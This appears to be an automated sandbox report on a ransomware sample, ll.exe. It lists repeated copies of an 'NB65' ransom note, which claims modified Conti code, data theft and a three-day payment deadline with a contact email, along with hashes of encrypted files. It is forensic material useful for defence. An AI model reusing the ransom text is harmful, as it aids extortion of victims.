Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft.NET\ADOMD.NET\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft.NET\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft.NET\RedistList\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Mozilla Firefox\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Mozilla Firefox\plugins\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Reference Assemblies\Microsoft\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Reference Assemblies\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\adobe\Acrobat Reader DC\ReadMe.htm.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):17167
Entropy (8bit):7.989007718030304
Encrypted:false
SSDEEP:
MD5:4A71B216C772F1351AC7057E9AC7FD25
SHA1:FCDB5B6F6FC0B29DE03C02E14ACEC28C4B988585
SHA-256:6978748B38EA1151A26CABB0E09CE150A73841FC42EC43B73FAFE3666BFDCF98
SHA-512:CA90C2C16DADD9C8A3F2F927E0F35633C9935999FDE04F84C1B6DC1A15AA02707B45E49A68FE71F4F4E9EE12F988F497127370B3BD8B2977EDD640FE2AEF4CC2
Malicious:false
Preview:.q...&.Plqg.r.g....B/{.fVn..TN.....O)X/......v..?....:8.5..T##..R..M.+.=.9:l.d.]..T.=R.9..%.$e.;....41m.V>Cg...uRx.9.*.}..REk"...g._a.......o.l)0....>...Ge5j...0..A...'.e..v=k.....%#...n.V....B...iA...sc.n.1....._.4mVN.I<.:..........D('.&.|..Q0.R.m.)\?mYK.e!O.r0...H.....n-..uw....n.Z..;.kS...c.t............D..4..S.n.P.iN`l...=%.x..p..(e......H.....*.6y.rz~..y3.Q...!...Sg..)i<...UN04.l.A......2..@./.dDo.t._..`a...&...W<HR....+k.O/...9..f.J.^Or..*.>v.....7..+...)...;...\..B...P.;(./..OX#B.}D..l1R.@WP.e`4.f...*.D...1`./.m.#.7;3.W.....=.kR.!..X.S....._.O...%.]..R..$.veZ....tl.x.1.oo|..yiLt_....h.i...f.T....Y....w..z?I.~.b\c:K.7Mg...|.u`\.............:y.[.?..^D...<.l.WOF.1?J.....6o..-j.).#.l.).@..|.N......B....a.-.ao.6hd..."3$......>..4.y?..... ..L.....o.-.......".9..y..6}.Y.*.'...7CV.;.H]...k.x...[..C.^.}s......F.}..i...0.V...F..hlQV..q.....5..J..{..B....M.y... .D6Z...P...vo.....sG......W.W.OM...;.[v..HVi.9..#.K..4A.v.B..F.H...a.....V.}....

C:\Program Files (x86)\autoit3\Au3Check.dat.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13465
Entropy (8bit):7.985229298784926
Encrypted:false
SSDEEP:
MD5:92372165B7842862D92F7F28AA0227C9
SHA1:9398A1484C143C1CC00BAD8828F32E09C78B6D03
SHA-256:80B7D13880F66B92472F79B5333BE98B27619D6672CB18D42F30D4B8D9BF3014
SHA-512:84825A0745F0A0CD4D064774464F5178EA59348C8380BA43CC0EFE330148701A3E9FAD7DB64099A8171370C8C89734C0BA5D2B64A10E1F918B0E60CD67064DB3
Malicious:false
Preview:x...|tqD......s...........N..F. .~t>.....Z.u....>m..2w...!...nnt....P.T9.x..b,.."...v..22.9hB;..$%.NW.Ab...&.%...[.9.w.@m.Y...........v..&.p?.Um|.i..U..V<@W.X0....,.a(=..)@.y.q..1>Sg..d....-A)..+.=#.S.#3D.[f...k..r...j.&.-?....9O.EA....P_.W4G.YW#.....e.?W.Q.F...... f ...Ht.j.&.c..4}.....e.')!.......fl)..Wg....[......8.......^.j...N.PT.....i...h-C.w...G.+.=.........j.Z5......i...\e./.....h..v..Y....a..c.y.{ B..9.N....C.U8...X.....>0...zR..X!.2>.J.6c...8T;[....X........h+....9!.#.a.y...e)..{....Y....C..}.@.+..\...^..|..='.G.|..w...c2...~z.Fa.a.+.:vt^..'...z8.........}........K:....^..&t.i"....Xr(W.R.CW........&<.....@Lj*.BL..|..d.........Qe.6mD.%..K.:.....D.Jd.EuBn..P.[p.m.~.}<].....Q..8hA.."G..t.h.,..E._:.....4.C.....M..^wx.7K...[PA(J[.F.R..)C.@J....L..a.C{.....i.'4...1ry...}.P.l|.........u....OY)._.Q....Q.C....R...Z..n..F~S.rzz.R0+./GK......8a..:......k^..;.Fb/.3...........@.7..GaS..x:..#Z..~..{.;.?...)..cPB?.l...5......N..?.I.A>S..EW..VYl......-

C:\Program Files (x86)\autoit3\AutoIt v3 Website.url.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):738
Entropy (8bit):7.697013552141188
Encrypted:false
SSDEEP:
MD5:4FD7F59628ED77FCB6F7AB70D2D89FFB
SHA1:D7255280967F52AC3B94784A287D4C711777CF1A
SHA-256:E9F212A8AFEACDBEC04C64CFA3DD778DB883F777FFAFE85E284A09B745D64B91
SHA-512:951488227B8D03B8ECD7F5B6685489DFF6F9BBB99BD66AC7CA5B91DECBA335CC48B7D8B50BBAC7D81EC4B8554B394AF3F1070509C6875B172ACEC364174D0806
Malicious:false
Preview:.......8uF.T....>..4..nx...td;..H.....j....((.~......E...#ug...-@.Q*K...D....t.5......&0.+* ..yo..":;..o..w.qb.....1`....XA..V.7.@....8...D.v[-K.Ox...`....sYl}..~M....I....<..G.%.X...9......*r...X.......A.z0."..k....e.^...].#....V.2..sOA.}Y3.%...L...k4{.....)UM.).l.;.%.i.F....G.#..$>Q..S...X`#..|....N..P.i..|a.K...V.8Y..|...8hG..7.`..s.?.M.H..._g"...2Q..p..F.x.U..J%=!..3...a.%.D....E}.l.W..v.....a..#..$..T9..Av...@I+9..6.s..$5.....c!PtLs.b..B..z$..#.T.[e.a..c|....lm].^.....]B..g..dG....j.<.....'..e..6d....G.y.Q..o.|1...xh..^}^e.c..q.'......a$.....U.....g6R.:....7AP.4.......P.#@s..-.S%.;...rL..:..\/&.!.....5n.$S%....E.O....[.....Z..}....d...H.@<\yqm.sO......C........w.)BC..l............$.........

C:\Program Files (x86)\autoit3\AutoIt.chm.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7005983
Entropy (8bit):7.999176022770172
Encrypted:true
SSDEEP:
MD5:C7972B9D599507AF6EEE73A7051AB86A
SHA1:4FA4A929DB39DFF5A4F058447FEB61DA1E7DC66A
SHA-256:D87404CC813F13FF2C62E6C940EFA71B1AE3CBB09C4E72BC1F2C6D9A20CAF037
SHA-512:D758925DBBFCEB0539FF51A71BDF8C5B2DB482C9804CDF8BB3A1F2D82E32D13068EAE6AEE8252C63087AF91D0600623D7045BA7481BC056F3BF7FC2D640483C2
Malicious:true
Preview:a.I.&.:....E......PHKY...0Fm....?.9....o$g...[..E......E..g.itHLqyK\..6.....X.3.FL...D.;.s...w.p...WO.x.....|Y.."rx.z....l...{."..R..y.U..J...5....0.....4.q...ow`.0....x.....G...6.1...'....S.}.6.M............:..Y.;-.d...O....Q...~..ni].... .....&+.....).6......>)P8qTy@.]..G.k.f..8h.v6g.t...\a.6.B.<3Y..kM..:@.|I......=O_.5........^;..[..H.VE...s..1.Y..l.r...C.E.g....S....LH.jH....... ...<.!....)[....D..aX~..;.=\~TK....U....W..Q......t;q...$...G{....;k.s........ wG.,._]....EV.s..^...n)..FV.9.Y....O....0..i(.........T.YK.....8..`.....~%K.f......J..$..........;...oiC...wOs....+.......'.r...._.../Kh.....WeL..R..n.C.O.r...........f..\..`.{i.O..nS.w?A*.$...5J..nd..=....J.v.7.?V<...".c...<|..\..j.q=.*..r...f....qE....B.Bq..E.i.....c..<o..H...:..E...&.|.j... .....R...]-.W.K..Wh..w..S~|y..+T6..f.}Z...#.^..I.....K..+.1P...l(....Zz.u.|U...7...Q..L.7Z. 3?..XLx.6..1.!.{[....HS..}i......M".pX.~...)..L.P..`M&....K..f..E...L...h.v.l...\R|....yC..

C:\Program Files (x86)\autoit3\AutoItX\AutoItX.chm.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):201012
Entropy (8bit):7.999193346882145
Encrypted:true
SSDEEP:
MD5:E1A03FCB848FBF8E8CC7E4047781473F
SHA1:4B1562B2D4E6644F286EA941AB4257C5C4203A97
SHA-256:E0915EA79590A7B55D0C3B77487C0EB57F44A37C489E327E43C1B90D9F49A501
SHA-512:F786E0D14A5CD79F02A761F89689E51AEF9B057411B8F2F540657C71F2EF05D309312BF83C14142FBBE892926059198051CAFD5CDD89F35B1B074E5C93F86BA9
Malicious:true
Preview:.#B.S..Y+z..DM..Q.s?.....<......=e2D.}...K'..0PpZ.3.MA...C.h..>...H."4.........L..w....+.S.j.6#y..............\s.H].R..cF.e..I...\...b&s...sF..N_...q./...xj........X.Ht.R.v?..ig.Z.)K......1.z.C...&..<.........s..`..r.Sx6z...W_j.P/.yu.b..&....J....7z..]K.A.......CT.^Z.E`...r....x/.......b..FoR{..q`.%Lw...w.*IoZ..@.Cl.."b...:...]...>.......<....?..(......4.H...!X..5...mB..5g.f..%.dv.Q~}..[..\..DX9..E...P\.r.r)=g...t......k.....@...w..z...TNC.J..O..i.O.......w....C.LP...."g7..^CA.|.t.:....d8.......Zmf..?..L....BG_.*.....m..7..y. 4.....:b.......F.v.. .K.=6.u.J..Y.2.Ui.....H....9.C.c.....y......B....R\Y=...r..G+.85,v.f|.....T.......f=.;....a.x.eE.0..."E.iB..p.G..x07........?..o..$.I...~.J.......8..l..S...I!.Owm.wHk.?%...l.fJ.wc...0...J..lIUV.....d..i...A......?.......p.+.R....k...[s/.....R.q<q...6.....E.js.u......8.^..iTG...%...O.D.q.q).."+e.[..us.B9..UH..O.j..,.c5..a..1..l ...$j.J.+.]..H...'.R..hyp.r.[....9.6......Y.$0.s...!N....g{?....

C:\Program Files (x86)\autoit3\AutoItX\AutoItX.psd1.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):26952
Entropy (8bit):7.993354947530506
Encrypted:true
SSDEEP:
MD5:8C38F6AADEA789BC9520EF37EC2D9144
SHA1:920A2F5633C7A913F2BFF9F377C1B63D32E6395B
SHA-256:FC5C6E67579B608BE2C38BF1679EFCAD82B3A901D4437555A297522F2035F49E
SHA-512:21F5C56A36A264A287E8AC1A57E4A4C3248A694B03574189338721BCE1069420D4E874327B2B83E8FDF989823A4E1807237CC8CD502C34C2B722DBEC4C6112A3
Malicious:true
Preview:.."..s'.jy.D..#V.cx...1 [.z......|..n..(...S..... |OB..j...".s..i..&.G...b.9H@D.b...~..*y..1..;.{...i^;Z..`.\..D.G.Ar.b.G..../....AM..'4\.0......Bn.m:.S..FJ.V"$L.0Xw9..Pi...J..)-....>.y...v$u7...3..Rb....o0..y...EO.lk..#..t`..h..q....e...&.5..J9.E.8/...E........6a03@.7X..K..V{.R.....x.!...QW...%5.3n.7jt.fd...AP..0C>.w.e;..;')"...W.vT.o.N.@..oA.p.\.x..0k...@.V...9....f\.._..;.eh`OS...1....&*...+.(........\4.i.....'...3..<+.....S3.3pZm.c..4.l...([..O._0._.......O...Z.L.Fv.y....F...^S.F.. ........Njh.)...?...2.....<m...K}....G.T..W..\.\...I...G..2..J!4......Qp.Qi9.f....s...g.5:Za..nv..|.N...D.....T..._..m..R.n.......P5wB.a++.3e........./..................g.cV[n;..=..w.r.....<.@.../ph...R...=...........@.R.......-..2V..C.q.R.S1"!3...h,..J.8.J...R...S..=..Z....4.s,..j.e._..)q.wz.9.Qd....K.-O.7...=..j..z~(";.....(....i..g....yYz.2.i.K....axX._fg.W6.s...3...m..}Q...Be...2.Wh..`.O.su..a.t...M.....\.P....Yu......} ./B.S.....)>......#.i.U..@I5.~oU...

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3.Assembly.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):50052
Entropy (8bit):7.996599391750006
Encrypted:true
SSDEEP:
MD5:630C5830001FE76C58F65A0927166507
SHA1:B47626F4B107A6805D6A25C3572E59579AF177FA
SHA-256:F7835B364EA8096B4E4A2E5F1BB78E047EAB4C19764D8494E435A8E0E05CC22B
SHA-512:CF8B434AAD04A65F87DAB86C3A05CDC460728B367D35531D47EAF5ACD477968179323BDDA3E63FA9D10894EAECEC67B319F84B7AB6C614AF3CDA7B757063E541
Malicious:true
Preview:.O.Q..,.......H.a..S..7..-.b.'.. ....X..G.......B.[...8.v.}.j.._.....\5..IH4Uq/d..7.*\...$......s...a.j..*.....o...!._...a.aS}O.....8.r.%...'.x(.S&<..g}k.G.rz..E...E.>i..F..N.N.kh.......8....%...;GY.}.K7.......5I0etm.K.[.....C.EW..h.K,.....@._q.].blc.Rk...F.L.......j.1lk..:.......l....2(i...Q.}./...O..+....k$.K.>...........Z..G.(..f...U.8%.......i....3[.F.w...:).p;.L.K<Es.. .0..h.w.2.Y@.&..P........8;Z..N?0...X.....^.A.~-..-..5.NE....Z^......~.L"...V.y'|.r..G.w.5.TB.1;8.IsISo....KC>.;.#..4.......U..5.......y..X.m}.Z...G.({.%.."`.0F.0%..J..fJ..QE.A&..G.4>..O..Q.2._v.........R.cI...K.rt..9..0....6.\....S.E<v.K.......".....tF.......F*@.?0@.q.F......T]...l....4..!...<..:...w!..-<...).....(..0.[.. 8...g..2U.Gdo."..P.a....`H..o...s..X.TnE...C.D....6.'.`...0#..N.B....kK.....[...N......r...IE..VB..L.@...{C..)..'s.)..us..2'.q.....a(...;..(......5.s.....B....).I[.C.. .p.2.F.^...7s+....U._...c7...e<}..T...:...'.Z...w.......Y8..F..

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_DLL.h.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13527
Entropy (8bit):7.988542210139132
Encrypted:false
SSDEEP:
MD5:3AE6C7B1EC131CA96D68DE68B7EB8405
SHA1:126942FDF04F31EBB130D697C111AA7D29B9C641
SHA-256:0CFB057828375DA52D08177AE81EF9EFB309BFB3C8761A143B5E7C594E76DBC3
SHA-512:D4737BB02257BB539980A91EAC287418F7CAB40C9319D453CD819ABC497E867A838E7B7C4EF8B9494468BD6C250C1572E20D55EE3AB108A742F5DA019C2A1A49
Malicious:false
Preview:+...X..h.$...i$.[Dd;.....0}.......`....s."%..`.K....h....D;D..^.i.]_.z....u.x..g-P:.p..Q."M.SS)..+<.9..h$.F.#(..#..L.b.j}.*^...w.A....B..D...l......l....PZ..V0Ku..r#...\..n...R."..v~A2.. /}k.u......a.4.....{F......R..j../-.R.:..7.H..z..}........ks.r......U{.......SH.w....W\..q...&.'.o..)._i.N.P.....%.9'T.5..G...MDla.^{.E".....K..%.l...L.Z..9......H[.+..m..EF[.U.)..2vL...m.BHY..DV.k..J..H..."..N....g...sf../.M!...n.`.G.x:v.kZ..A=.]..G,....w...._.M.[O.($t..v..+...~.._.v.{....G{..='.w.D...kP.e'..+.Y^..0(du..MP....S.J..$0.........~..x.yW<J......*...Yp.-.......k^..r..|..p.}...].Q. j......;.3,.K.=..< e]....UI{=.1d...a.....U.*3.z..........>..w....).....I.....%...{..0~}.D..p...?{Z...\..C.qv.^.~.r....C.....2...p...Sg.Cd.8`.3..-.....i..GL.....S..=)...oar.......i....9..<..rra<+... ~KJ.'.ZM.cT..........lh%....c}....?. yl.,...<.H.B....eo:....]`.'..+...U..^u.#.7._.9.ZI....T.o.. ....x.......F..r,.y.m.Ibe..L..,.Y/ZG..^...+.!..}-....8.&5gsT@y.;|........0..

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_DLL.lib.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):29510
Entropy (8bit):7.993455191539998
Encrypted:true
SSDEEP:
MD5:46CF6718A7088BA2F0A00CB9195BC17E
SHA1:30425A23AB7BDE94984405659B9407053FD98FA0
SHA-256:DCF81FF7BB81500345A2D628795EA3C25E22C1149358A8DD87DD2AD0F7040FB8
SHA-512:B5155733E3F4ECD4A22AFA92BA04B2D21DB44097BD345F7832E5E526950D5BAD5746E940795D3596D78F7BE4BDD140D96DDF58C6A8394F07E604BF6ED9597C69
Malicious:true
